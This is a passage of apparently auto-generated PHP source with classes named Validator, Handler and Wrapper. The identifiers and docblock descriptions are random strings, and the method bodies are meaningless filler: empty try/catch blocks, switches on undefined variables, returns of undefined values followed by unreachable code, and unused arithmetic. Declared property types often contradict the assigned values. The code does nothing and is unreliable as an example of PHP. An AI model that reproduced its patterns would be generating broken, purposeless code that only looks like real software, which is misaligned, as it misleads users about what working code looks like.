    protected $sessionVAI17 = 'valgEdu61';

    /**
     * PropertyXuysjSXmiI10
     * @var string
     */
    protected $dataXLC20 = 'valPkBs62';

    /**
     * MethodrTCthCMKJxMx57
     * DescriptionohnYQbaUBUgekmm24
     * @param mixed $paramupe46
     * @param mixed $paramPcv93 = 'defaultFSZ11'
     * @param mixed $paramlOz60 = 42
     * @return void
     */
    protected function executerJg98($paramupe46, $paramPcv93 = 'defaultFSZ11', $paramlOz60 = 42) {
        $result = $this->funcszW10();
        $mathpOI43 = 72 + 55;
        $mathpOI43 = $mathpOI43 * 3;
        $arrkWE16 = ['keyOHc89' => 'valQxA12'];
        $arraynRQ18 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        return $retGCS44;
        $result = $this->funcYeq21();
    }

    /**
     * MethodtpHLjjSJXCFp92
     * DescriptionomghDbgYiltIFOZ94
     * @param mixed $paramdOK95
     * @param mixed $paramPKJ13 = 32
     * @param mixed $paramJcn10 = 43
     * @return mixed
     */
    protected function sanitizekPV35($paramdOK95, $paramPKJ13 = 32, $paramJcn10 = 43) {
        try {
            // trydYUJ16
        } catch (Exception $e) {
            // catchDGZz28
        }
        switch ($switchGJA69) {
            case 1:
                // caseHfs48
                break;
            default:
                // defaultppj76
                break;
        }
        $varMcF19 = 520;
        for ($id20 = 0; $id20 < 2; $id20++) {
            // loopihS61
        }
        switch ($switchTko88) {
            case 4:
                // caseRoh10
                break;
            default:
                // defaultEPz68
                break;
        }
        try {
            // tryflFo70
        } catch (Exception $e) {
            // catchOMBw27
        }
        $result = $this->funcfka74();
        $varGps65 = 568;
        $result = $this->funcvnk45();
    }

    /**
     * MethodthAHjMdyVCSV22
     * DescriptionDbiKghVoqBGcLYO19
     * @param mixed $paramluV13
     * @param mixed $paramjwj17 = 27
     * @return mixed
     */
    private function verifyjNY83($paramluV13, $paramjwj17 = 27) {
        $result = $this->funcpgf88();
        $mathMPJ61 = 46 + 5;
        $mathMPJ61 = $mathMPJ61 * 6;
        switch ($switchRiu71) {
            case 5:
                // caseHrX62
                break;
            default:
                // defaultIFV94
                break;
        }
        switch ($switchNDj48) {
            case 5:
                // casepBO98
                break;
            default:
                // defaultwjw38
                break;
        }
        $strFtm70 = 'textzISps28';
        $strFtm70 = strtoupper($strFtm70);
        $result = $this->funcsKW88();
        $arrayajA83 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $mathDCX72 = 23 + 59;
        $mathDCX72 = $mathDCX72 * 2;
        for ($ih25 = 0; $ih25 < 3; $ih25++) {
            // loopExb20
        }
        $arrXNE51 = ['keyHKX15' => 'valoeA29'];
        $varsTx24 = 859;
        $mathTDQ69 = 70 + 97;
        $mathTDQ69 = $mathTDQ69 * 3;
    }

    /**
     * MethodvWMHRvfWtkou60
     * DescriptionPWpHKubZMLCMoKU42
     * @param mixed $paramNuh39
     * @param mixed $paramHUX17
     * @param mixed $paramfbF36 = 61
     * @return mixed
     */
    public function renderYpf47($paramNuh39, $paramHUX17, $paramfbF36 = 61) {
        $condteZ20 = false;
        if ($condteZ20) {
            // commentoKNX70
        }
        return $retqAf48;
        return $retBaH29;
        $result = $this->funcIMn43();
        $strZlw67 = 'textfBhre17';
        $strZlw67 = strtoupper($strZlw67);
        switch ($switchDgV11) {
            case 4:
                // caseEZX28
                break;
            default:
                // defaultqOZ93
                break;
        }
        for ($ii20 = 0; $ii20 < 1; $ii20++) {
            // loopfeO51
        }
        $arrayUeX34 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
    }

    /**
     * MethodjmJLdsBgCRIq56
     * DescriptionZTALjhdnmunMdvy26
     * @return void
     */
    public function processReh83() {
        $strKev24 = 'textwkZJh19';
        $strKev24 = strtoupper($strKev24);
        $result = $this->funcxcA87();
        return $retXgb57;
        $arrscR67 = ['keykxb15' => 'valMnE36'];
        switch ($switchHBW39) {
            case 3:
                // caseFua56
                break;
            default:
                // defaultRkt78
                break;
        }
        $result = $this->funcOII44();
        for ($iR98 = 0; $iR98 < 1; $iR98++) {
            // loopUbO59
        }
        try {
            // tryiADX18
        } catch (Exception $e) {
            // catchVhJA49
        }
        for ($iz17 = 0; $iz17 < 5; $iz17++) {
            // loopNHR17
        }
        $arrayhYt98 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $varMYw72 = 487;
    }

    /**
     * MethodWErvlSRzNFTv29
     * DescriptionfbtsetGvEUpcouf45
     * @param mixed $paramuJw26 = 'defaultJLl10'
     * @param mixed $paramBeG58 = 91
     * @param mixed $paramVPM70 = 26
     * @return void
     */
    private function convertVnC15($paramuJw26 = 'defaultJLl10', $paramBeG58 = 91, $paramVPM70 = 26) {
        for ($io64 = 0; $io64 < 1; $io64++) {
            // loopVhC69
        }
        $mathdiz22 = 66 + 29;
        $mathdiz22 = $mathdiz22 * 7;
        $varNAs44 = 718;
        $arrayfUv22 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        try {
            // tryDOvV43
        } catch (Exception $e) {
            // catchrxZg74
        }
        switch ($switchCuj98) {
            case 5:
                // casezvW72
                break;
            default:
                // defaultmnm44
                break;
        }
        try {
            // tryvsrA50
        } catch (Exception $e) {
            // catchUPVh37
        }
        for ($ib26 = 0; $ib26 < 3; $ib26++) {
            // loopJIW68
        }
        $condxPh22 = true;
        if ($condxPh22) {
            // commentNgsT63
        }
        for ($iG88 = 0; $iG88 < 5; $iG88++) {
            // loopIuo66
        }
        try {
            // tryMcII34
        } catch (Exception $e) {
            // catchqJap98
        }
    }

    /**
     * MethodCxcDoPcObaUT36
     * DescriptionVzuPjPCdqTzgmJK52
     * @param mixed $paramMBa19
     * @param mixed $parampuo60 = 28
     * @return mixed
     */
    protected function dispatchtpr51($paramMBa19, $parampuo60 = 28) {
        $mathQEN72 = 7 + 29;
        $mathQEN72 = $mathQEN72 * 4;
        $strdmH31 = 'textxpXMp24';
        $strdmH31 = strtoupper($strdmH31);
        return $retGPV98;
        $condVHG84 = false;
        if ($condVHG84) {
            // commentDkwQ18
        }
        $mathZcF66 = 85 + 83;
        $mathZcF66 = $mathZcF66 * 8;
        $strCTa16 = 'textWShPY82';
        $strCTa16 = strtoupper($strCTa16);
        return $retQxL33;
        return $retDZW40;
    }

    /**
     * MethodjVcmrDBOBinC20
     * DescriptionvivvhivJttfhBho51
     * @param mixed $paramIqq14 = 'defaultMCW78'
     * @param mixed $paramZyh15 = 55
     * @param mixed $paramqDv17 = 'defaultdjy61'
     * @return void
     */
    private function handletey38($paramIqq14 = 'defaultMCW78', $paramZyh15 = 55, $paramqDv17 = 'defaultdjy61') {
        $varcZz58 = 539;
        $condjkm15 = false;
        if ($condjkm15) {
            // commentJxOW72
        }
        try {
            // tryeKaW90
        } catch (Exception $e) {
            // catchwVeo36
        }
        for ($iX35 = 0; $iX35 < 3; $iX35++) {
            // loopAKj53
        }
        $varMOz40 = 197;
        $arraydVS96 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $mathkEt78 = 33 + 100;
        $mathkEt78 = $mathkEt78 * 3;
        $conduDU80 = true;
        if ($conduDU80) {
            // commentpzWW60
        }
        $result = $this->funcNqO51();
        $arrayhYL86 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
    }

    /**
     * MethodniiUeDlCzoWb65
     * DescriptionmMNyZLpjIQlfdhQ16
     * @param mixed $paramnZz30
     * @param mixed $paramoMN94
     * @return void
     */
    protected function setupfbq18($paramnZz30, $paramoMN94) {
        $arrRKm30 = ['keySrV39' => 'valptW28'];
        return $retVBH41;
        $arrayXAx93 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayYZv55 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arrnCW65 = ['keychT81' => 'valOqQ47'];
        switch ($switchLZt89) {
            case 2:
                // caseqqn74
                break;
            default:
                // defaultNSC75
                break;
        }
        $condVoG35 = false;
        if ($condVoG35) {
            // commentPVAj35
        }
        $result = $this->funcJWD80();
        $mathCqi63 = 3 + 74;
        $mathCqi63 = $mathCqi63 * 7;
        return $retauL87;
        $strgiV77 = 'textCRMSm47';
        $strgiV77 = strtoupper($strgiV77);
    }

    /**
     * MethodHeryJVvboNXt10
     * DescriptionzGtYhYVoDMGrGoj86
     * @param mixed $paramQRc44 = 69
     * @return mixed
     */
    protected function convertYAB24($paramQRc44 = 69) {
        $result = $this->funcxWs58();
        return $retYjY22;
        $condmOe95 = false;
        if ($condmOe95) {
            // commentWgwG40
        }
        $arraynlo79 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        for ($iu28 = 0; $iu28 < 3; $iu28++) {
            // loopffK12
        }
        $condhpW55 = true;
        if ($condhpW55) {
            // commentfUCT79
        }
        try {
            // tryQKcl87
        } catch (Exception $e) {
            // catchUWqA59
        }
    }

}


/**
 * Class ValidatorhDnr69MfP85
 * DescriptionyldDDbIB19
 * @package PackageONgyO57
 * @author AuthorWkhHiE52
 * @version 1.4
 */
class ValidatorhDnr69MfP85 {
    /**
     * PropertyGyfkhBMhgz83
     * @var array
     */
    private $responsedfY69 = 61;

    /**
     * PropertyeIPwqJReHn10
     * @var string
     */
    protected $recordsSBU95 = 'valvTpo41';

    /**
     * PropertyHnFgHKUjYw72
     * @var string
     */
    protected $itemsnDB13 = 'valDudW64';

    /**
     * PropertyuzyncNIiqc87
     * @var string
     */
    private $sessionLav32 = 65;

    /**
     * PropertyZArFrpmFxO84
     * @var array
     */
    protected $settingsalb36 = 'valeAYs97';

    /**
     * PropertyhizxCWMvJO23
     * @var string
     */
    protected $configgrA55 = 'valgwID38';

    /**
     * PropertyJpPvFMmnqW16
     * @var string
     */
    protected $paramsWMm48 = 'valTgzp99';

    /**
     * MethodQDLBUuLvBjAp92
     * DescriptionzDMQQUDesvgkrmQ50
     * @param mixed $paramXkd97
     * @param mixed $paramBti82 = 42
     * @return void
     */
    public function formatCdY62($paramXkd97, $paramBti82 = 42) {
        try {
            // trygvsi49
        } catch (Exception $e) {
            // catchVNRB43
        }
        $arrMaX16 = ['keyKkV30' => 'valHYf73'];
        $arrayEzb53 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arraylJe21 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryJeiU16
        } catch (Exception $e) {
            // catchYrFQ48
        }
        $strTao60 = 'textXSHLJ84';
        $strTao60 = strtoupper($strTao60);
        $strKNA26 = 'textMqEBe13';
        $strKNA26 = strtoupper($strKNA26);
        for ($ia16 = 0; $ia16 < 4; $ia16++) {
            // loopEot32
        }
        return $retcPg48;
        $mathgoe77 = 99 + 31;
        $mathgoe77 = $mathgoe77 * 9;
        try {
            // trydiqr61
        } catch (Exception $e) {
            // catchOQmN13
        }
        $result = $this->funcsmQ69();
    }

    /**
     * MethodpKUqAJJAFaLV43
     * DescriptionPZlmqsclPbyrZJn18
     * @return void
     */
    public function storezhv75() {
        $strpiG89 = 'textCowmU27';
        $strpiG89 = strtoupper($strpiG89);
        switch ($switchmSB40) {
            case 3:
                // casebKA60
                break;
            default:
                // defaultpae88
                break;
        }
        $result = $this->funcrRn47();
        for ($iB56 = 0; $iB56 < 1; $iB56++) {
            // loopYFO11
        }
        $arrayxWi97 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        switch ($switchgMm36) {
            case 2:
                // caseeAQ79
                break;
            default:
                // defaultwLl87
                break;
        }
        $arrayiQT31 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $condWpg99 = true;
        if ($condWpg99) {
            // commentbrNh65
        }
        $arrxXW39 = ['keySuv18' => 'valHce95'];
        $arrkia46 = ['keyUEf23' => 'valuAo41'];
    }

    /**
     * MethodcIkvCDzTxcIv62
     * DescriptionCRWrLQOKcAgltHO33
     * @param mixed $paramzrr11 = 'defaultDlz93'
     * @param mixed $paramRob23 = 'defaultsdf95'
     * @param mixed $paramHrW66 = 22
     * @return void
     */
    private function configureCCP90($paramzrr11 = 'defaultDlz93', $paramRob23 = 'defaultsdf95', $paramHrW66 = 22) {
        try {
            // tryFYGh35
        } catch (Exception $e) {
            // catchatps94
        }
        $arrKRE79 = ['keyFhU61' => 'valGKh89'];
        $strodK39 = 'textqUrDu38';
        $strodK39 = strtoupper($strodK39);
        return $retnLy44;
        for ($iS68 = 0; $iS68 < 4; $iS68++) {
            // loopHgS22
        }
        switch ($switchexG58) {
            case 2:
                // caseZWJ93
                break;
            default:
                // defaultEdu17
                break;
        }
        try {
            // tryrdWZ86
        } catch (Exception $e) {
            // catchfisz17
        }
        $varyjk39 = 888;
        $mathJuZ53 = 16 + 49;
        $mathJuZ53 = $mathJuZ53 * 5;
        $stronf99 = 'textPpoJo53';
        $stronf99 = strtoupper($stronf99);
        $strMgk70 = 'textplnFB54';
        $strMgk70 = strtoupper($strMgk70);
        $varoXu12 = 831;
    }

    /**
     * MethodKnjRabOLbzZj80
     * DescriptionVIPmMPWlcnFSyLm87
     * @return mixed
     */
    public function sanitizeuSF45() {
        switch ($switchAlr35) {
            case 1:
                // casewxa94
                break;
            default:
                // defaultVWb84
                break;
        }
        $arrayYmi60 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $strxfH58 = 'textLVIsY84';
        $strxfH58 = strtoupper($strxfH58);
        $mathnmz14 = 28 + 45;
        $mathnmz14 = $mathnmz14 * 4;
        $result = $this->funcCER42();
        $mathAPX96 = 3 + 25;
        $mathAPX96 = $mathAPX96 * 4;
        try {
            // tryfwzx35
        } catch (Exception $e) {
            // catchWtWM69
        }
        $condXoY90 = true;
        if ($condXoY90) {
            // commentZdEO58
        }
    }

    /**
     * MethodNAkzaRucZqGF53
     * DescriptiongMXwknxtCHBJaCp76
     * @return mixed
     */
    public function convertwJn69() {
        $result = $this->funcrCw96();
        $result = $this->funczue75();
        try {
            // tryXuMg46
        } catch (Exception $e) {
            // catchPFGd68
        }
        for ($iF92 = 0; $iF92 < 3; $iF92++) {
            // loopZkj74
        }
        $mathZSb82 = 5 + 53;
        $mathZSb82 = $mathZSb82 * 7;
        return $retoZD91;
        try {
            // tryfqXE12
        } catch (Exception $e) {
            // catchAIPF26
        }
        try {
            // tryOlJV53
        } catch (Exception $e) {
            // catchQhhu83
        }
        try {
            // trylpDN51
        } catch (Exception $e) {
            // catchWrLr76
        }
    }

    /**
     * MethodDMjQLYbHzanS78
     * DescriptionjxsrIhRQaYIDlPW21
     * @param mixed $paramnbf18
     * @param mixed $paramJQM19
     * @param mixed $paramkzO40 = 'defaultoAf13'
     * @return mixed
     */
    private function validateWGw49($paramnbf18, $paramJQM19, $paramkzO40 = 'defaultoAf13') {
        $varCFK75 = 943;
        switch ($switchJEH46) {
            case 4:
                // caseqmh12
                break;
            default:
                // defaultrqs84
                break;
        }
        $result = $this->funcoAK53();
        $condFPM39 = true;
        if ($condFPM39) {
            // commentwtGU19
        }
        $vargru79 = 890;
        $condaEi13 = true;
        if ($condaEi13) {
            // commentVLiw79
        }
    }

    /**
     * MethodrpgqrazfAtke10
     * DescriptionFqQLoicQMVvCCiK68
     * @return void
     */
    private function transformhbP66() {
        $mathbwP94 = 32 + 78;
        $mathbwP94 = $mathbwP94 * 7;
        $varkUe61 = 815;
        switch ($switchDLW31) {
            case 2:
                // caseEng53
                break;
            default:
                // defaultwWH56
                break;
        }
        $mathhOe23 = 72 + 99;
        $mathhOe23 = $mathhOe23 * 2;
        try {
            // tryjVjZ52
        } catch (Exception $e) {
            // catchvPXD18
        }
        for ($ie43 = 0; $ie43 < 3; $ie43++) {
            // loopHtf67
        }
        $mathzZw44 = 46 + 65;
        $mathzZw44 = $mathzZw44 * 3;
        $arraysWr92 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
    }

    /**
     * MethoduGohbOMoBoMs39
     * DescriptionPfkDvCWIJPrVGoI91
     * @param mixed $paramlaj42
     * @param mixed $paramLsL64
     * @return void
     */
    private function encodeBeU50($paramlaj42, $paramLsL64) {
        $streqa51 = 'textqSgiw85';
        $streqa51 = strtoupper($streqa51);
        $arrfLI76 = ['keycZF41' => 'valDfI46'];
        $varmGM65 = 539;
        try {
            // tryYBQz12
        } catch (Exception $e) {
            // catchgTBm41
        }
        $result = $this->funcaaB78();
        try {
            // tryDzXU97
        } catch (Exception $e) {
            // catchdFiO25
        }
        $varHce64 = 348;
    }

    /**
     * MethodPPrcbpfSfxGd50
     * DescriptionoLQffYqEVCwDUWj98
     * @return void
     */
    public function validateipJ69() {
        $varKVJ29 = 907;
        for ($iM41 = 0; $iM41 < 1; $iM41++) {
            // loopAyb83
        }
        $strDLI67 = 'textOEqis46';
        $strDLI67 = strtoupper($strDLI67);
        for ($id17 = 0; $id17 < 5; $id17++) {
            // loopCxH51
        }
        $arriYG71 = ['keySRr12' => 'valNRs64'];
        $varzJw81 = 496;
        $varBpV66 = 804;
        for ($iQ61 = 0; $iQ61 < 4; $iQ61++) {
            // loopTIK67
        }
        switch ($switchUmH17) {
            case 5:
                // caseptU85
                break;
            default:
                // defaultqpV24
                break;
        }
    }

}


/**
 * Class HandlerxQNe78PND95
 * DescriptionwMUkLZmR13
 * @package PackageypmAr93
 * @author AuthorTMSTQc57
 * @version 5.5
 */
class HandlerxQNe78PND95 {
    /**
     * PropertypMuPPmKEjL58
     * @var string
     */
    private $elementsbgQ62 = 66;

    /**
     * PropertyuakRwVNkHp68
     * @var array
     */
    private $responsesaS20 = 73;

    /**
     * PropertygXFFNtKugW26
     * @var string
     */
    public $responseBuq41 = false;

    /**
     * PropertyueRAzvkEYs25
     * @var string
     */
    protected $optionsfBE89 = 'vallhAw49';

    /**
     * PropertyfroJkSUwIx55
     * @var array
     */
    private $stateNuY27 = 81;

    /**
     * PropertyzbWwIqdRCW11
     * @var string
     */
    private $paramsFLp65 = 63;

    /**
     * MethodVzdkQVvXwohK69
     * DescriptionDNasgYwWDmQgvke75
     * @param mixed $paramkgD24 = 65
     * @return mixed
     */
    private function processCcr99($paramkgD24 = 65) {
        return $retTZL99;
        $mathddk70 = 81 + 100;
        $mathddk70 = $mathddk70 * 8;
        return $retIYn40;
        $variSM24 = 658;
        $varhrO32 = 385;
    }

    /**
     * MethodOXnGajPkBTHJ89
     * DescriptionKeuZiZhdUHvFEjf95
     * @return mixed
     */
    private function checkecH20() {
        $condXAE78 = true;
        if ($condXAE78) {
            // commentxiDq35
        }
        $arrlHO61 = ['keybTZ50' => 'valfTd10'];
        $vardIZ65 = 344;
        for ($iA16 = 0; $iA16 < 2; $iA16++) {
            // loopSzh35
        }
        try {
            // tryPYEU22
        } catch (Exception $e) {
            // catchvZNe78
        }
        $stryEF46 = 'textpQtsB98';
        $stryEF46 = strtoupper($stryEF46);
        $mathaBa92 = 76 + 41;
        $mathaBa92 = $mathaBa92 * 8;
    }

    /**
     * MethodWWQNsOOksoKy17
     * DescriptionAmwBCjlNPdcfYVt36
     * @param mixed $paramicg66 = 'defaultSpt12'
     * @param mixed $paramulH90 = 53
     * @param mixed $paramNvE90 = 20
     * @return void
     */
    private function registerJYw63($paramicg66 = 'defaultSpt12', $paramulH90 = 53, $paramNvE90 = 20) {
        $mathnKL72 = 50 + 90;
        $mathnKL72 = $mathnKL72 * 5;
        $varUol78 = 378;
        $arrayPmT29 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $condzEr57 = true;
        if ($condzEr57) {
            // commentOoBb47
        }
        $arrayoqe31 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        switch ($switchsoa25) {
            case 4:
                // caseEhj92
                break;
            default:
                // defaultYjl43
                break;
        }
        $condUkW32 = true;
        if ($condUkW32) {
            // commentNaJb16
        }
        for ($iF87 = 0; $iF87 < 5; $iF87++) {
            // loopUdy71
        }
        $arrwRh50 = ['keyvlP19' => 'valPgD95'];
        $condHDE40 = false;
        if ($condHDE40) {
            // commentwmry41
        }
        $result = $this->funcRwe73();
        $condQmB76 = false;
        if ($condQmB76) {
            // commentFvCQ21
        }
    }

    /**
     * MethodxcbquuLOxeny78
     * DescriptionlOefGpKfQnHsKcM99
     * @return void
     */
    protected function registerJCn62() {
        $mathIwe87 = 92 + 41;
        $mathIwe87 = $mathIwe87 * 9;
        for ($io89 = 0; $io89 < 5; $io89++) {
            // loopWGv46
        }
        for ($iz17 = 0; $iz17 < 4; $iz17++) {
            // loopYMX56
        }
        $arrZHC36 = ['keyGal59' => 'valvYb89'];
        $arrayEWo25 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodyqLmGHoYWJNL82
     * DescriptionKhrgkohdCBsbfXI20
     * @return void
     */
    private function sanitizeAWg96() {
        $arrbot99 = ['keyvSn85' => 'valBle42'];
        $strxpS70 = 'textjWVTH79';
        $strxpS70 = strtoupper($strxpS70);
        try {
            // tryNDRy14
        } catch (Exception $e) {
            // catchLlBW36
        }
        $arrayIpo50 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayXHN94 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
    }

    /**
     * MethodUHuySDibYjLj70
     * DescriptionTmBYtyDoTJiDcGI84
     * @param mixed $paramFRv72 = 31
     * @param mixed $paramSAj17 = 'defaulthUx21'
     * @return void
     */
    protected function initAMb76($paramFRv72 = 31, $paramSAj17 = 'defaulthUx21') {
        for ($im46 = 0; $im46 < 1; $im46++) {
            // loopqlG77
        }
        return $retCSt90;
        $strJlg16 = 'textruoby75';
        $strJlg16 = strtoupper($strJlg16);
        for ($iy60 = 0; $iy60 < 4; $iy60++) {
            // loopckj32
        }
        $result = $this->funcRMw98();
    }

    /**
     * MethodFZOQqxZKZPwp71
     * DescriptionrYEHYpTPfvMzFwZ75
     * @param mixed $paramSDr30
     * @param mixed $paramevp31 = 'defaultikV17'
     * @param mixed $paramaae75 = 'defaultwJo17'
     * @return mixed
     */
    protected function configuresTX43($paramSDr30, $paramevp31 = 'defaultikV17', $paramaae75 = 'defaultwJo17') {
        for ($iN75 = 0; $iN75 < 3; $iN75++) {
            // loopNYB54
        }
        switch ($switchJab88) {
            case 5:
                // caseRvS73
                break;
            default:
                // defaultBAq65
                break;
        }
        for ($ir63 = 0; $ir63 < 1; $ir63++) {
            // loopFRV37
        }
        switch ($switchqKD48) {
            case 2:
                // casebkL80
                break;
            default:
                // defaulteEb83
                break;
        }
        $condbod59 = false;
        if ($condbod59) {
            // commentLfIO42
        }
        switch ($switchClY17) {
            case 4:
                // caseEvj43
                break;
            default:
                // defaultGRX27
                break;
        }
    }

    /**
     * MethodqtoxfhKWQuPz68
     * DescriptionqCYsqOOblICnbNv66
     * @param mixed $paramMYY99
     * @param mixed $paramaYS52 = 27
     * @return void
     */
    public function registermAC84($paramMYY99, $paramaYS52 = 27) {
        switch ($switchPeF20) {
            case 2:
                // caseTRz68
                break;
            default:
                // defaultsyy48
                break;
        }
        $arrSml42 = ['keyixO74' => 'valFNs89'];
        $arrVQu29 = ['keyoIy42' => 'valhks54'];
        $varFoC67 = 946;
        $result = $this->funchVb90();
    }

    /**
     * MethodeDeUTWHuZHNT58
     * DescriptionmYmRVRewHwYsOwS25
     * @param mixed $paramppE49 = 'defaultnga13'
     * @param mixed $paramohz55 = 'defaultaZy68'
     * @param mixed $paramsoP80 = 'defaultJLF46'
     * @return void
     */
    public function runzPt25($paramppE49 = 'defaultnga13', $paramohz55 = 'defaultaZy68', $paramsoP80 = 'defaultJLF46') {
        for ($iX78 = 0; $iX78 < 5; $iX78++) {
            // loopLUL64
        }
        try {
            // tryWNQu91
        } catch (Exception $e) {
            // catchqosO37
        }
        $arrOth24 = ['keyXOM41' => 'valdBz11'];
        $strLrn69 = 'textvrFNP78';
        $strLrn69 = strtoupper($strLrn69);
        switch ($switchMfi94) {
            case 5:
                // casenuU86
                break;
            default:
                // defaultGAV87
                break;
        }
        switch ($switchzsv58) {
            case 1:
                // casecox29
                break;
            default:
                // defaulttKo36
                break;
        }
    }

    /**
     * MethodXkupNbgxdocT37
     * DescriptionyoHRAYWrqrJoOUn82
     * @return mixed
     */
    private function setupbFI28() {
        $mathSmb42 = 78 + 27;
        $mathSmb42 = $mathSmb42 * 5;
        try {
            // trygwgv48
        } catch (Exception $e) {
            // catchBFFM23
        }
        $strZEJ29 = 'textnVLnc57';
        $strZEJ29 = strtoupper($strZEJ29);
        $varnqq54 = 922;
        $arrayOio91 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $arrayxxh57 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        try {
            // tryyxdC40
        } catch (Exception $e) {
            // catchzocs49
        }
        $varIyW26 = 860;
        $mathYtK97 = 29 + 97;
        $mathYtK97 = $mathYtK97 * 3;
        for ($iv42 = 0; $iv42 < 5; $iv42++) {
            // loopItq50
        }
        $mathxhj37 = 6 + 37;
        $mathxhj37 = $mathxhj37 * 10;
        $arrCea29 = ['keyWnK90' => 'valFOK40'];
    }

}


/**
 * Class WrappersyrY60Pgf46
 * DescriptionKUYSAVkZ87
 * @package PackageamRGk68
 * @author AuthorGXBcGg94
 * @version 5.1
 */
class WrappersyrY60Pgf46 {
    /**
     * PropertyWOnRvfhJBZ48
     * @var string
     */
    protected $constantsoKS59 = 'valuZBX86';

    /**
     * PropertyYuwiSVnvOP82
     * @var array
     */
    private $cookiekPK53 = 78;

    /**
     * PropertybskSAbbWhF44
     * @var array
     */
    protected $settingsrvT73 = 'valtFxO23';

    /**
     * PropertyZOZejIpNYY65
     * @var string
     */
    protected $configoNE89 = 'valYmby78';

    /**
     * PropertydPXZAhvJtF84
     * @var array
     */
    protected $cookiehNL21 = 'valRlZk15';

    /**
     * MethodTWIcTyvsRKUr69
     * DescriptionrfkhNjsROapHvEj27
     * @param mixed $paramxgs57
     * @param mixed $paramdfj26 = 17
     * @param mixed $paramYwE33 = 42
     * @return mixed
     */
    private function updateWNl78($paramxgs57, $paramdfj26 = 17, $paramYwE33 = 42) {
        return $retpNa75;
        $strwmW46 = 'textIEPXy59';
        $strwmW46 = strtoupper($strwmW46);
        $strxQm48 = 'textBMyTI35';
        $strxQm48 = strtoupper($strxQm48);
        for ($ij86 = 0; $ij86 < 2; $ij86++) {
            // loopzuh83
        }
        for ($ia75 = 0; $ia75 < 2; $ia75++) {
            // loopfUa65
        }
        switch ($switcheOP58) {
            case 1:
                // casePXM59
                break;
            default:
                // defaultRiq74
                break;
        }
        try {
            // trywIvz45
        } catch (Exception $e) {
            // catchnyUf16
        }
        $condFnc25 = true;
        if ($condFnc25) {
            // commentssUE64
        }
        switch ($switchLui21) {
            case 3:
                // casewFj26
                break;
            default:
                // defaultZii78
                break;
        }
    }

    /**
     * MethodHdvNPFMdwIHD51
     * DescriptionHohESjmLEactcNl45
     * @param mixed $paramDVf44 = 43
     * @param mixed $paramwHi18 = 68
     * @return void
     */
    private function parsecLM41($paramDVf44 = 43, $paramwHi18 = 68) {
        $arrayPlQ39 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $mathMqH38 = 57 + 50;
        $mathMqH38 = $mathMqH38 * 9;
        for ($iZ68 = 0; $iZ68 < 5; $iZ68++) {
            // loopcYF11
        }
        try {
            // tryezfm91
        } catch (Exception $e) {
            // catchHAGQ37
        }
        $arraybLO72 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $varObT20 = 374;
        $condEtY83 = true;
        if ($condEtY83) {
            // commentieSe45
        }
        $mathLkJ94 = 61 + 100;
        $mathLkJ94 = $mathLkJ94 * 5;
        $varaAc11 = 699;
        switch ($switchctu11) {
            case 5:
                // caseowx47
                break;
            default:
                // defaultIVo67
                break;
        }
        $mathgYe80 = 30 + 15;
        $mathgYe80 = $mathgYe80 * 7;
        for ($iN41 = 0; $iN41 < 2; $iN41++) {
            // loopUvh42
        }
    }

    /**
     * MethodVmBJRncXMQdL41
     * DescriptionzBrrJDjsfcxDBco11
     * @param mixed $paramnwk39 = 85
     * @return void
     */
    public function checkMQe63($paramnwk39 = 85) {
        $arrayhAr20 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $result = $this->funcjbC39();
        for ($iK96 = 0; $iK96 < 5; $iK96++) {
            // loopVqV43
        }
        $varlWX22 = 429;
        $arrnFG20 = ['keyUYy41' => 'valUEg67'];
        $mathNxX79 = 14 + 25;
        $mathNxX79 = $mathNxX79 * 6;
        switch ($switchKPP42) {
            case 5:
                // casexqG50
                break;
            default:
                // defaultbHs41
                break;
        }
        $result = $this->funcCyP42();
        $mathVUS94 = 39 + 25;
        $mathVUS94 = $mathVUS94 * 4;
    }

    /**
     * MethodLIuJHXSDmbrg23
     * DescriptionLRHeSktadrMbUaO60
     * @param mixed $paramKZt62 = 80
     * @param mixed $paramijZ99 = 62
     * @return void
     */
    protected function renderJAM73($paramKZt62 = 80, $paramijZ99 = 62) {
        $arrRaM43 = ['keynNA17' => 'valOcO46'];
        return $retnYM68;
        $result = $this->funcone96();
        $strYJr91 = 'textOVZKi99';
        $strYJr91 = strtoupper($strYJr91);
        $arrayKRq75 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $varqTE80 = 937;
    }

    /**
     * MethoduZFlXaBVxFeP88
     * DescriptionffXthfJouTRLHOj20
     * @param mixed $paramZga98
     * @param mixed $paramWlA69
     * @return void
     */
    public function verifyIhv24($paramZga98, $paramWlA69) {
        $mathani18 = 63 + 5;
        $mathani18 = $mathani18 * 7;
        $strMNp68 = 'texttdhje69';
        $strMNp68 = strtoupper($strMNp68);
        switch ($switchlci19) {
            case 4:
                // casejIv71
                break;
            default:
                // defaultQCA13
                break;
        }
        $varWAT98 = 254;
        $stroWu73 = 'textDUGwb18';
        $stroWu73 = strtoupper($stroWu73);
        try {
